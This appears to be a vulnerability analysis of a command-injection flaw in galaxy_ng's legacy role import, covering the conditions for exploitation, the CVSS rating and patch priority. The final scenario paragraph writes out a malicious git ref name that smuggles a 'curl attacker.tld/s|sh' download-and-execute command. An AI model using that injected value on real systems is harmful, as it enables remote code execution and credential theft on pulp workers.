galaxy_ng CVE-2026-12398

Exploitation requires four concrete conditions, all derivable from the description and CVSS vector: (1) the target galaxy_ng deployment must have the setting GALAXY_ENABLE_LEGACY_ROLES=True, which is explicitly not the default; (2) the attacker must hold a low-privileged authenticated account on the Galaxy API (CVSS PR:L) able to call the legacy v1 role import endpoint; (3) the attacker must control a git repository reachable by the pulp worker so they can create a branch or tag whose name contains shell metacharacters; and (4) the malicious ref name must survive transport to do_git_checkout() and be passed into subprocess.run(..., shell=True). No user interaction on the victim side is required (UI:N). Limiting factors are the non-default configuration flag, the authentication requirement, and CVSS AC:H reflecting that the attacker must orchestrate the malicious git ref and import flow together.

The signals point to a real but conditional risk rather than a mass-exploitation issue. The CVSS 3.1 vector (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, base 7.5) correctly reflects that the attacker needs network access plus a low-privileged authenticated account, and that AC is High because exploitation requires the non-default GALAXY_ENABLE_LEGACY_ROLES=True setting plus the ability to publish a malicious git ref. The vulnerability is not in CISA KEV and EPSS data was not supplied, so there is no evidence of active exploitation; likewise no public PoC was referenced, so exploitation status is 'no public exploit identified at time of analysis.' The C:H/I:H/A:H impact is credible because code execution lands on the pulp worker, which typically holds credentials and content-signing material. Priority should be high specifically for AAP 2 operators who have enabled legacy roles, and medium-low elsewhere; the most important caveat is that affected/fixed versions are not enumerated in the input, so defenders must rely on the Red Hat advisory to confirm exposure.

An attacker registers a low-privileged account on a galaxy_ng instance where GALAXY_ENABLE_LEGACY_ROLES is enabled, then publishes a git repository (e.g., on GitHub) containing a branch or tag named something like v1.0;curl attacker.tld/s|sh;#. They submit that repository through the legacy v1 role import API; the pulp worker invokes do_git_checkout(), which interpolates the ref into a shell command, and the injected payload executes on the worker as the pulp service user. No public PoC has been referenced in the supplied intelligence.